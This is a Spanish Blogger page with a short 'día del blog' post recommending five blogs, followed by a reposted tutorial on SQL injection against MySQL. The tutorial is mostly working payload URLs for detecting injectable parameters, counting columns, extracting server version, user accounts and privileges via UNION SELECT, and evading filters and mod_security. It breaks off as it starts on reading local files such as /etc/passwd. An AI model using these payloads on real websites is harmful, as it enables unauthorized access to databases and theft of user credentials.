Feliz día del 3108 ♥

<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhnpOB1xhix7cq69Kk2kFPxzhjaWSxw8Y8ycBJD36n9yd02tPI9ynCjEXVD_l5aFaIgsTQ2nFAuKVk2SAwHbw30GC1-H5xR75u3hh9qAIN5ikmhddiopjuoaDGt3U3PSyOHih2nq2e3Ta40/s1600/P1040175.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="300" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhnpOB1xhix7cq69Kk2kFPxzhjaWSxw8Y8ycBJD36n9yd02tPI9ynCjEXVD_l5aFaIgsTQ2nFAuKVk2SAwHbw30GC1-H5xR75u3hh9qAIN5ikmhddiopjuoaDGt3U3PSyOHih2nq2e3Ta40/s400/P1040175.JPG" width="400" /></a></div><div style="text-align: justify;"><br /><span style="color: #444444; font-family: "Courier New",Courier,monospace; font-size: small;">Hoy es 3108, el día del blog!!!!!!!! y para todos los que tenemos/leemos un blog es un día muy importante, bonito y tenemos que celebrarlo, la mejor manera de celebrarlo es siguiendo la tradición de recomendar 5 blogs...  ahí van!</span></div><div style="text-align: justify;"><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhQEHfiiP5qBgppUv4XW84-7-YBeEtcx0Ki03fdC2brd5nV4wspXeoLBpifBpevLwYvTDNkvuBaAIWg6S4TFPA1gD3ugzSKPxe6ZKUE0lPkYVt5kfIlNckPIaSzisXUtFDcrskX7djYo2V_/s1600/logo_misscupcakes.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="110" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhQEHfiiP5qBgppUv4XW84-7-YBeEtcx0Ki03fdC2brd5nV4wspXeoLBpifBpevLwYvTDNkvuBaAIWg6S4TFPA1gD3ugzSKPxe6ZKUE0lPkYVt5kfIlNckPIaSzisXUtFDcrskX7djYo2V_/s200/logo_misscupcakes.png" width="200" /></a></div><div style="text-align: justify;"><br /></div><div style="color: #444444; font-family: "Courier New",Courier,monospace; text-align: justify;"><span style="font-size: small;"><b><a href="http://www.misscupcakes.pe/blog/" style="color: #3d85c6;">Miss Cupcakes</a></b> Es un blog muy lindo y sobre todo rico <span style="color: red; font-size: small;">♥</span> con recetas buenísimas para los amantes del dulce! y para los que no son buenos en la cocina pueden pedir cupcakes personalizados! </span></div><div style="text-align: justify;"><br /></div><div style="text-align: justify;"><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiAkR0msyg6R-2ZnxLmk15Qo1IMSszPrhi5piCpNYXR00cr3s5ayO5fBITMs_d2c7Ov2zwEQOogTxOcwHxRta0Jx3no4GlxZc8SerkFPNS18dkBN87YhC_BC3ySJ0wk1uKNl460wRtXuMKo/s1600/logo_square_pf.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="200" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiAkR0msyg6R-2ZnxLmk15Qo1IMSszPrhi5piCpNYXR00cr3s5ayO5fBITMs_d2c7Ov2zwEQOogTxOcwHxRta0Jx3no4GlxZc8SerkFPNS18dkBN87YhC_BC3ySJ0wk1uKNl460wRtXuMKo/s200/logo_square_pf.jpg" width="199" /></a></div><div style="text-align: justify;"><br /></div><div style="text-align: justify;"><br /></div><div style="text-align: justify;"><br /><span style="color: #444444; font-family: "Courier New",Courier,monospace; font-size: small;"><b style="color: red;"><a href="http://www.perufail.com/">PerúFail</a></b> "Alegramos tu día con estas criolladas" quien no ha entrado, al <a href="http://www.facebook.com/PeruFail">facebook</a>, <a href="http://twitter.com/perufail">twiiter</a> o el <a href="http://www.perufail.com/">blog</a> de Perúfail  y se ha reído tanto de nuestras "criolladas" es bueno para la salud reírse :D</span><br /><br /><br /><br /><br /><br /><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEibi-an9UBU-2sM2PD9d1bW3ZrOlsYGROP5iRtkVMiEqBrGKpFaQQqRjttih7kRy4G10mc9hoRKGbPaI2bDvQsuE6_4wlwyD-y-69YENpZO2YHgy3LpAHMJZtLhZAE9CBICcFCEjAz8nivL/s1600/sd.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="200" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEibi-an9UBU-2sM2PD9d1bW3ZrOlsYGROP5iRtkVMiEqBrGKpFaQQqRjttih7kRy4G10mc9hoRKGbPaI2bDvQsuE6_4wlwyD-y-69YENpZO2YHgy3LpAHMJZtLhZAE9CBICcFCEjAz8nivL/s200/sd.jpg" width="200" /></a><br /><br /><br /><span style="color: #444444; font-family: "Courier New",Courier,monospace; font-size: small;"><b style="color: #274e13;"><a href="http://serdandi.blogspot.com/">SerDandi</a></b> Siempre leía blogs de moda femenina, pero me llamaba la atención la moda masculina y encontré el blog de Serdandi que es un blog de moda masculina muy chévere :)</span><br /><br /><br /><br /><br /><br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhe0wRtzX1E_MArt6WU3gNA8h2mgZrZ8HsuT7dQ466NyM1oys38etnY3UsqJzlCFICdmvfJtFxHZ1gK8qSOQObxsHKqsl34KDsu9iV_xY1Xc-kbt7_p9PH9GhEuTWlWlYoW-dR746HNKMIS/s1600/frikis.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="200" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhe0wRtzX1E_MArt6WU3gNA8h2mgZrZ8HsuT7dQ466NyM1oys38etnY3UsqJzlCFICdmvfJtFxHZ1gK8qSOQObxsHKqsl34KDsu9iV_xY1Xc-kbt7_p9PH9GhEuTWlWlYoW-dR746HNKMIS/s200/frikis.jpg" width="200" /></a></div><br /><br /><br /><span style="font-size: small;"><span style="color: #444444; font-family: "Courier New",Courier,monospace;"><a href="http://frikis.pe/"><b><span style="color: black;">Frikis.Pe</span></b></a> Y para todo aquel que tenga un friki dentro que levante su sable laser y entre directamente a Frikis.Pe, que encontrara mucha información de: comics, música, gadgets, cine, manga, videojuegos, etc.</span></span><br /><br /><br /><br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgQAwDjTOjWn6pPFPGDJWyFnNrmAUrNYnaqf_YanghKyE55zVHM07EKlRmpWLYeA4c7WzQ4FMvLBt7rQLhPXyr2HJ7g_xS3OI4X5xqbLxyopWvZm2gWcCoSwD2hGjrXVoH_WmDkH52ZfMGE/s1600/necdb.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgQAwDjTOjWn6pPFPGDJWyFnNrmAUrNYnaqf_YanghKyE55zVHM07EKlRmpWLYeA4c7WzQ4FMvLBt7rQLhPXyr2HJ7g_xS3OI4X5xqbLxyopWvZm2gWcCoSwD2hGjrXVoH_WmDkH52ZfMGE/s320/necdb.jpg" width="169" /></a></div><br /><br /><br /><br /><div style="color: black;"><a href="http://www.blogger.com/goog_227697955"><b><br /></b></a></div><span style="color: #444444; font-size: small;"><span style="font-family: "Courier New",Courier,monospace;"><a href="http://negraencuerpodeblanca.blogspot.com/"><b><span style="color: black;">Negra <span style="color: #e06666;">en cuerpo de</span> <span style="color: #666666;">Blanca</span></span></b></a> es un blog muy entretenido de Emma que no tiene pelos en los dedos (XD) para tipear, escribe las cosas tal y como las piensa, siempre me hace reír con sus ocurrencias :)</span></span><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><div style="text-align: right;"><span style="font-size: large;"><span style="color: #444444; font-family: "Courier New",Courier,monospace;"><span style="font-size: small;">...Y de nuevo Feliz día del Blog</span> <span style="color: red; font-size: x-large;">♥</span></span></span></div><br /><br /><br /></div>

• 
• 
• 
• 
• 

1. 1
2. 2
3. 3
4. 4
5. 5

• Previous
• Next

Feliz día del 3108 ♥

Hoy es 3108, el día del blog!!!!!!!! y para todos los que tenemos/leemos un blog es un día muy importante, bonito y tenemos que celebrarlo, la mejor manera de celebrarlo es siguiendo la tradición de r…

Leer más »

Gran tutorial de inyecciones SQL (MySQL)

<div style="text-align: center;"><span class="Apple-style-span" style="color: rgb(199, 199, 199); font-family: Verdana, arial, sans-serif; font-size: 11px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-align: left; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-decorations-in-effect: none; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; background-color: rgb(27, 27, 27); "><center>+--------------------------------------------------------+ <br /> <br />|<span class="Apple-converted-space"> </span><b>SQL injection && Blind Sql Injection</b><span class="Apple-converted-space"> </span>| <br /> <br /> <br />|<span class="Apple-converted-space"> </span><b>Escrito por<span class="Apple-converted-space"> </span><span style="color:blue;">l0ve</span></b><span class="Apple-converted-space"> </span>| <br /> <br />+--------------------------------------------------------+ <br /></center> <br /> <br /><u><b>¿Qué es sql injection?</b></u> <br /> <br />"Inyección SQL es una vulnerabilidad informática en el nivel de la validación de las entradas a la <br />base de datos de una aplicación. El origen es el filtrado incorrecto de las variables utilizadas en las <br />partes del programa con código SQL. Es, de hecho, un error de una clase más general de <br />vulnerabilidades que puede ocurrir en cualquier lenguaje de programación o de script que esté <br />incrustado dentro de otro. <br />Una inyección SQL sucede cuando se inserta o "inyecta" un código SQL "invasor" dentro de otro <br />código SQL para alterar su funcionamiento normal, y hacer que se ejecute maliciosamente el código <br />"invasor" en la base de datos." <br /><b> <br />Fuente:</b><span class="Apple-converted-space"> </span><a href="http://ddlr.servepics.com/rd.php?go=http://es.wikipedia.org/wiki/Inyecci%C3%B3n_SQL" target="link" style="color: rgb(102, 204, 255); text-decoration: none; outline-style: none; outline-width: initial; outline-color: initial; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; text-shadow: black 0.7px 0.7px 0.7px; ">http://es.wikipedia.org/wiki/Inyección_SQL</a> <br /> <br /><u><b>¿Qué vamos a ver?</b></u> <br /> <br />Vamos a buscar, reconocer y explotar de distintas formas "inyecciones SQL" en aplicaciones web con bases de datos MySQL version 4.x o 5.x .. <br /> <br />aclaración: Algunas cosas explicadas acá puede ser que no funcionen en otras base de datos ya que no todas son iguales, hay variedades de ellas ... mysql, mssql (sql server), sqlite, oracle etc .. <br /> <br />Antes de empezar vamos a repasar algunas cosas básicas: <br /> <br /><b>?</b><span class="Apple-converted-space"> </span>enlaza la URL con los parámetros. <br /><b>&</b><span class="Apple-converted-space"> </span>delimita donde termina un parámetro y donde comienza el otro. <br /><b>=</b><span class="Apple-converted-space"> </span>asigna el valor. <br /> <br /><b><i>Recuerda bien ;).</i></b> <br /> <br />Empecemos ... <br /><u> <br />Nota: En los ejemplos voy a usar siempre "localhost" y un script en php llamado "print.php"</u> <br /> <br /><u><b>¿Cómo reconocer una vulnerabilidad sql?</b></u> <br /> <br />Hay varias formas de hacerlo, entre ellas puede ser usando una comilla simple ' (''%27'') al <br />final de la URL: <br /> <br />http://localhost/print.php?id=332' <br /> <br />también con:<span class="Apple-converted-space"> </span> <br /> <br />- paréntesis ")" <br />- "comentarios" como ''/*'' , ''--'' o "#" <br />- palabras del lenguaje sql como "select,order by" etc .. <br /> <br />Ejemplos: <br /> <br />http://localhost/print.php?id=12) -- <br />http://localhost/print.php?id=12)) -- <br />http://localhost/print.php?id=12 '-- <br />http://localhost/print.php?id=12 ') -- <br />http://localhost/print.php?id=12 ')) -- <br /> <br />veamos: <br /> <br /><a href="http://ddlr.servepics.com/rd.php?go=http://img201.imageshack.us/img201/2907/pantallazo1nq2.png" target="_blank" style="color: rgb(102, 204, 255); text-decoration: none; outline-style: none; outline-width: initial; outline-color: initial; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; text-shadow: black 0.7px 0.7px 0.7px; "><img src="http://img201.imageshack.us/img201/2907/pantallazo1nq2.png" style="max-width: 499px; " /></a> <br /> <br /> <br />el tema con los "comentarios" es que puede ser que con un tipo de comentario funcione y con el otro no .. por ejemplo: <br /> <br /><b>Con /*:</b> <br /> <br /><a href="http://ddlr.servepics.com/rd.php?go=http://img153.imageshack.us/img153/9775/pantallazo6bt1.png" target="_blank" style="color: rgb(102, 204, 255); text-decoration: none; outline-style: none; outline-width: initial; outline-color: initial; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; text-shadow: black 0.7px 0.7px 0.7px; "><img src="http://img153.imageshack.us/img153/9775/pantallazo6bt1.png" style="max-width: 499px; " /></a> <br /> <br /><b>Con --:</b> <br /> <br /><a href="http://ddlr.servepics.com/rd.php?go=http://img241.imageshack.us/img241/1391/pantallazo7zf9.png" target="_blank" style="color: rgb(102, 204, 255); text-decoration: none; outline-style: none; outline-width: initial; outline-color: initial; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; text-shadow: black 0.7px 0.7px 0.7px; "><img src="http://img241.imageshack.us/img241/1391/pantallazo7zf9.png" style="max-width: 499px; " /></a> <br /> <br /> <br />además de los ejemplos anteriores se pueden usar "operadores lógicos" .. <br /> <br />ejemplo: <br /> <br />http://localhost/print.php?id=1 and 1=1 <br /> <br />Y luego: <br /> <br />http://localhost/print.php?id=1 and 1=2 <br /> <br />vemos que al hacer la primera inyección la pagina se imprime normalmente ... pero al inyectar lo <br />segundo vemos que se devuelve modificada (a veces vacía o falta algún contenido, se notara la diferencia). <br />Si al hacer algunas de estas inyecciones obtenemos algo como: "You have an error in your SQL <br />syntax; check the manual that " o algo parecido .. sabemos que es vulnerable a <br />sql injection. <br /> <br /><a href="http://ddlr.servepics.com/rd.php?go=http://img209.imageshack.us/img209/7611/pantallazo2jm2.png" target="_blank" style="color: rgb(102, 204, 255); text-decoration: none; outline-style: none; outline-width: initial; outline-color: initial; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; text-shadow: black 0.7px 0.7px 0.7px; "><img src="http://img209.imageshack.us/img209/7611/pantallazo2jm2.png" style="max-width: 499px; " /></a> <br /> <br /><a href="http://ddlr.servepics.com/rd.php?go=http://img357.imageshack.us/img357/5663/pantallazo3tn3.png" target="_blank" style="color: rgb(102, 204, 255); text-decoration: none; outline-style: none; outline-width: initial; outline-color: initial; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; text-shadow: black 0.7px 0.7px 0.7px; "><img src="http://img357.imageshack.us/img357/5663/pantallazo3tn3.png" style="max-width: 499px; " /></a> <br /> <br /> <br />No solo se puede usar "AND" existen otros operadores lógicos: <br /> <br /><b>1 && 1</b><span class="Apple-converted-space"> </span>//Representa el AND <br /><b>1 || 1</b><span class="Apple-converted-space"> </span>//Representa el OR <br /><b>1 XOR 0</b><span class="Apple-converted-space"> </span>//Retorna null si alguno de ellos es null <br /><b>!</b><span class="Apple-converted-space"> </span>//Representa NOT se evalúa 1 si el operando es 0 y a 0 si el operando es distinto a 0. <br /> <br /> <br /><u><b>Explorando la base de datos</b></u> <br /> <br />Vamos a averiguar el numero de columnas ... <br /> <br />¿Cómo hacemos eso? ¡Fácil!, usamos el 'order by' e iremos incrementando o viceversa según los <br />resultados veamos. <br /> <br />http://localhost/print.php?id=-1 order by 1/* <---- no muestra un error <br />http://localhost/print.php?id=-1 order by 2/* <---- no muestra un error <br />... <br />http://localhost/print.php?id=-1 order by 14/* <-------- no muestra un error <br />http://localhost/print.php?id=-1 order by 15/* <-------- no muestra un error <br />http://localhost/print.php?id=-1 order by 16/* <-------- no muestra un error <br />http://localhost/print.php?id=-1 order by 17/* <-------- error <br /> <br />Cuando hay un error nos mostrara algo así: <br /> <br />"Unknown column '17' in 'order clause" <br /> <br />Como podemos ver hay 16 columnas. <br /> <br /><a href="http://ddlr.servepics.com/rd.php?go=http://img201.imageshack.us/img201/5628/pantallazo4tk0.png" target="_blank" style="color: rgb(102, 204, 255); text-decoration: none; outline-style: none; outline-width: initial; outline-color: initial; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; text-shadow: black 0.7px 0.7px 0.7px; "><img src="http://img201.imageshack.us/img201/5628/pantallazo4tk0.png" style="max-width: 499px; " /></a> <br /> <br /><a href="http://ddlr.servepics.com/rd.php?go=http://img259.imageshack.us/img259/2674/pantallazo5dl9.png" target="_blank" style="color: rgb(102, 204, 255); text-decoration: none; outline-style: none; outline-width: initial; outline-color: initial; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; text-shadow: black 0.7px 0.7px 0.7px; "><img src="http://img259.imageshack.us/img259/2674/pantallazo5dl9.png" style="max-width: 499px; " /></a> <br /> <br /> <br />Pero hay veces que esto no es posible y tendremos que usar UNIÓN<span class="Apple-converted-space"> </span><u> <br />(Sentencia UNIÓN:</u><span class="Apple-converted-space"> </span>Se usa <br />para combinar los resultados de varias sentencias SELECT en un único conjunto de resultados.) <br /> <br />http://localhost/print.php?id=-1+union+all+select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16/* <br /> <br />Ahí la pagina nos puede imprimir unos números o tal vez puede verse que falta de algún contenido pero <br />sabremos que la unión funciona .. tenemos que hacer: <br /> <br />union all select 1/* <br />union all select 1,2/* <br />union all select 1,2,3/* <br />.. <br />y así sucesivamente hasta encontrar la cantidad de columnas. <br /> <br /> <br /><b><u>Saber la versión de mysql y entre otros datos útiles</u></b> <br /> <br />Bueno ahora analicemos la inyección de más arriba .. <br /> <br />http://localhost/print.php?id=-1+union+all+select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16/* <br /> <br />Como pueden ver no explique el -1 .. no quiere decir que siempre hay que ponerlo .. pueden usar cualquier numero. <br /> <br /> <br />Lo que hay que hacer ahora es reemplazar alguno de esos números por inyecciones que nos pueden dar algunos datos del servidor (estos números corresponde a una columna de la tabla). <br /> <br />Versión: <br /> <br />http://localhost/print.php?id=-1+union+all+select 1,@@version,3,4,5,6,7,8,9,10,11,12,13,14,15,16/ <br />* <br /> <br />(se pude usar @@version o version()) <br /> <br />Ejemplo: <br /> <br /><a href="http://ddlr.servepics.com/rd.php?go=http://img241.imageshack.us/img241/6568/pantallazo8ut9.png" target="_blank" style="color: rgb(102, 204, 255); text-decoration: none; outline-style: none; outline-width: initial; outline-color: initial; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; text-shadow: black 0.7px 0.7px 0.7px; "><img src="http://img241.imageshack.us/img241/6568/pantallazo8ut9.png" style="max-width: 499px; " /></a> <br /> <br />(se pude usar @@version o version()) <br /> <br />Tendrás algo como "4.1.20-log" <br /> <br />Los @@ son variables del sistema,por ejemplo podríamos hacer algo como @@servename. <br /> <br />Es importante saber la versión de MySQL ya que podría facilitarnos la inyección .. <br /> <br /><b>version()</b><span class="Apple-converted-space"> </span>Devuelve la versión del servidor MySQL. <br /><b>database()</b><span class="Apple-converted-space"> </span>Devuelve el nombre de la base de datos actual. <br /><b>current_user()</b><span class="Apple-converted-space"> </span>Devuelve el nombre de usuario y el del host para el que está autentificada la <br />conexión actual. Este valor corresponde a la cuenta que se usa para evaluar los privilegios de <br />acceso. Puede ser diferente del valor de USER(). <br /><b>last_insert_id()</b><span class="Apple-converted-space"> </span>Devuelve el último valor generado automáticamente que fue insertado en una <br />columna AUTO_INCREMENT. <br /><b>connection_id()<span class="Apple-converted-space"> </span></b>Devuelve el ID de una conexión. Cada conexión tiene su propio y único ID. <br /><b>@@datadir</b><span class="Apple-converted-space"> </span>directorio de la db. <br /> <br />un problema frecuente .. ¿Por qué me dice que es ilegal, implícita etc ..? <br /> <br />ok .. para evitarlo se hace de la siguiente forma: <br /> <br />con la función<span class="Apple-converted-space"> </span><u>convert().</u> <br /> <br />http://localhost/print.php?id=-1+union+all+select 1,convert(@@version using <br />latin1),3,4,5,6,7,8,9,10,11,12,13,14,15,16/* <br /> <br /><u>con hex() y unhex():</u> <br /> <br />http://localhost/print.php?id=-1+union+all+select <br />1,unhex(hex(@@version)),3,4,5,6,7,8,9,10,11,12,13,14,15,16/* <br /> <br /><u>aes_encrypt & aes_decrypt</u> <br /> <br />http://localhost/print.php?id=-1+UNION+SELECT+1,2,3,aes_decrypt(aes_encrypt(user,1),1),5+from+mysql.user-- <br /> <br /><u>COMPRESS , UNCOMPRESS</u> <br /> <br />http://localhost/print.php?id=-1+UNION+SELECT+1,2,3,UNCOMPRESS(COMPRESS(user)),5+from+mysql.user-- <br /> <br /> <br />Bueno hasta acá ya tenemos bastantes datos interesantes sobre el servidor y ademas sabemos si es vulnerable o no .. sigamos. <br /> <br />otra cosa es que el . (punto) separa la base de datos de las tablas ejemplos: mysql.user, information_schema.tables o ventas.usuarios.<span class="Apple-converted-space"> </span> <br /> <br />Algunas veces nos podemos encontrar con filtros que nos lian las inyecciones, pero hay varias forma de "saltarlos" por ejemplo: <br /> <br /> <br />http://localhost/print.php?id=-1/**/union/**/all/**/select/**/1,unhex(hex(@@versión)),3,4,5,6,7,8,9,10,11,12,13,14,15,16/* <br /> <br />http://localhost/print.php?id=-1/**/uNion/**/aLl/**/sElEcT/**/1,unhEx(hex(@@versión)),3,4,5,6,7,8,9,10,11,12,13,14,15,16/* <br /> <br />o evandiendo el Mod_Security cuando da 403 como codigo de estado (prohibido), se reinicia etc. : <br /> <br />http://localhost/print.php?id=-1+/*!union*/+/*!select*/+/*!all*/+1,version(),3-- <br /> <br /> <br /><b><u>Obteniendo tabla,nombre de columna y otros datos</u></b> <br /> <br />Vamos a ver como hacer al tener una versión 5 de MySQL: <br /> <br /><u>Para tener una lista de los privilegios podemos hacer:</u> <br /> <br />http://localhost/print.php?id=-1+union+all+select+1,concat(grantee,privilege_type,is_grantable),3,4,5,6,7,8,9,10,11,12,13,14,15,16+from+information_schema.user_privileges/* <br /> <br />hay algo nuevo y es CONCAT (concat une datos dentro de una consulta sql). <br />Con esto nos ahorraríamos de hacer inyecciones ..<span class="Apple-converted-space"> </span> <br /> <br />si algún dato no existe en la base de datos "concat" produce un error .. y si no hay contenido larga NULL. <br /> <br />pero todo sale muy junto? ..¿Cómo podemos evitar esto? <br /> <br />Podemos pasar algún carácter a hexadecimal o usando char() (pasando el valor a ascii). <br /> <br />http://localhost/print.php?id=-1+union+all+select+1,concat(grantee,0x3a,privilege_type,0x3a,is_grantable)3,4,5,6,7,8,9,10,11,12,13,14,15,16+from+information_schema.user_privileges/* <br /> <br />Vemos que 0x3a es un valor en hex y representa ":" <br /> <br />Entonces obtendremos algo así: <br /> <br />''primerdato:segundodato'' y no ''primerdatosegundodato'' <br /> <br />Y así con cualquier carácter por ejemplo "=" en hexa (0x3D) Obtendríamos:<span class="Apple-converted-space"> </span> <br /> <br />''primerdato=segundodato'' <br /> <br />Y en ascii: <br /> <br />http://localhost/print.php?id=-1+union+all+select+1,concat(grantee,char(58),privilege_type,char(58),is_grantable)3,4,5,6,7,8, <br />9,10,11,12,13,14,15,16+from+information_schema.user_privileges/* <br /> <br />Ejemplo: <br /> <br /><a href="http://ddlr.servepics.com/rd.php?go=http://img241.imageshack.us/img241/4715/pantallazo9xv6.png" target="_blank" style="color: rgb(102, 204, 255); text-decoration: none; outline-style: none; outline-width: initial; outline-color: initial; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; text-shadow: black 0.7px 0.7px 0.7px; "><img src="http://img241.imageshack.us/img241/4715/pantallazo9xv6.png" style="max-width: 499px; " /></a> <br /> <br />y .. <br /> <br /><a href="http://ddlr.servepics.com/rd.php?go=http://img241.imageshack.us/img241/3053/pantallazo10ez9.png" target="_blank" style="color: rgb(102, 204, 255); text-decoration: none; outline-style: none; outline-width: initial; outline-color: initial; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; text-shadow: black 0.7px 0.7px 0.7px; "><img src="http://img241.imageshack.us/img241/3053/pantallazo10ez9.png" style="max-width: 499px; " /></a> <br /> <br />Como podemos ver en la segunda imagen aparece unos : (dos puntos) <br /> <br />o con char(): <br /> <br /><a href="http://ddlr.servepics.com/rd.php?go=http://img122.imageshack.us/img122/1842/pantallazo11db8.png" target="_blank" style="color: rgb(102, 204, 255); text-decoration: none; outline-style: none; outline-width: initial; outline-color: initial; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; text-shadow: black 0.7px 0.7px 0.7px; "><img src="http://img122.imageshack.us/img122/1842/pantallazo11db8.png" style="max-width: 499px; " /></a> <br /> <br />como podemos ver lo separamos con<span class="Apple-converted-space"> </span><b>^</b>. <br /> <br /><u>Nota: Para saber los valores ascii:<span class="Apple-converted-space"> </span><a href="http://ddlr.servepics.com/rd.php?go=http://www.ascii.cl/es/" target="link" style="color: rgb(102, 204, 255); text-decoration: none; outline-style: none; outline-width: initial; outline-color: initial; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; text-shadow: black 0.7px 0.7px 0.7px; ">http://www.ascii.cl/es/</a></u> <br /> <br />o Sencillo script en perl para pasar una cadena de caracteres a HEX: <br /> <br /><div class="px" style="margin-top: 0px; margin-bottom: 5px; font-family: Verdana, arial, sans-serif; font-size: 11px; color: rgb(199, 199, 199); padding-top: 4px; padding-right: 4px; padding-bottom: 4px; padding-left: 4px; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; background-color: rgb(27, 27, 27); "><pre width="70">print "Enter string to encode:"; $str=<stdin>;chomp $str; $enc = encode($str); print "Hex Encoded value: 0x$enc\n"; sub encode{ #Sub to encode @subvar=@_; my $sqlstr =$subvar[0]; @ASCII = unpack("C*", $sqlstr); foreach $line (@ASCII) { $encoded = sprintf('%lx',$line); $encoded_command .= $encoded; } return $encoded_command; } </stdin></pre></div> <br /> <br />Tambien podemos usar concat_ws() (concat_ws() que utiliza el primer argumento para separar el resto: <br /> <br /><a href="http://ddlr.servepics.com/rd.php?go=http://img389.imageshack.us/img389/4782/pantallazo13ov1.png" target="_blank" style="color: rgb(102, 204, 255); text-decoration: none; outline-style: none; outline-width: initial; outline-color: initial; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; text-shadow: black 0.7px 0.7px 0.7px; "><img src="http://img389.imageshack.us/img389/4782/pantallazo13ov1.png" style="max-width: 499px; " /></a> <br /> <br />o aprovechar los numeros que devuelve la página para poner en ellos algo diferente por ejemplo: <br /> <br /><a href="http://ddlr.servepics.com/rd.php?go=http://img291.imageshack.us/img291/2955/pantallazo26ro6.png" target="_blank" style="color: rgb(102, 204, 255); text-decoration: none; outline-style: none; outline-width: initial; outline-color: initial; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; text-shadow: black 0.7px 0.7px 0.7px; "><img src="http://img291.imageshack.us/img291/2955/pantallazo26ro6.png" style="max-width: 499px; " /></a> <br /> <br />como ven muestra la base de datos,la tabla y la columna. <br /> <br />en este caso blog es la base .. blog_lb_authors es la tabla y id es la columna. <br /> <br /> <br /> <br />Bueno seguimos .. <br /> <br />otras formas para obtener una lista de privilegios: <br /> <br />http://localhost/print.php?id=-1+union+all+select+1,concat(host,0x3a,user,0x3a,Select_priv,0x3a,Insert_priv,0x3a,Update_pri <br />v,0x3a,Delete_priv,0x3a,Create_priv,0x3a,Drop_priv,0x3a,Reload_priv,0x3a,Shutdown_priv,0x3a,P <br />rocess_priv,0x3a,File_priv,0x3a,Grant_priv,0x3a,References_priv,0x3a,Index_priv,0x3a,Alter_priv, <br />0x3a,Show_db_priv,0x3a,Super_priv,0x3a,Create_tmp_table_priv,0x3a,Lock_tables_priv,0x3a,Exe <br />cute_priv,0x3a,Repl_slave_priv,0x3a,Repl_client_priv),3,4,5,6,7,8,9,10,11,12,13,14,15,16+from+m <br />ysql.user-- <br /> <br />http://localhost/print.php?id=-1+union+all+select+1,concat(grantee,0x3a,table_schema,0x3a,privilege_type),3,4,5,6,7,8,9,10, <br />11,12,13,14,15,16+FROM+information_schema.schema_privileges-- <br />http://localhost/print.php? <br />id=-1+union+all+select+1,concat(table_schema,0x3a,table_name,0x3a,column_name,0x3a,privileg <br />e_type),3,4,5,6,7,8,9,10,11,12,13,14,15,16+FROM+information_schema.column_privileges-- <br /> <br /><b>una lista sobre las base de datos:</b> <br /> <br />http://localhost/print.php?id=-1+union+all+select+1,schema_name,3,4,5,6,7,8,9,10,11,12,13,14,15,16+FROM+information_s <br />chema.schemata-- <br /> <br />http://localhost/print.php?id=-1+union+all+select+1,distinct(db),3,4,5,6,7,8,9,10,11,12,13,14,15,16+FROM+mysql.db-- <br /> <br /><b>una lista de columnas:</b> <br /> <br />http://localhost/print.php? <br />id=-1+union+all+select+1,concat(table_schema,0x3a,table_name,0x3a,column_name),3,4,5,6,7,8,9, <br />10,11,12,13,14,15,16+FROM+information_schema.columns-- <br /> <br /><b>También se puede leer algún archivo local como "/etc/passwd":</b> <br /> <br 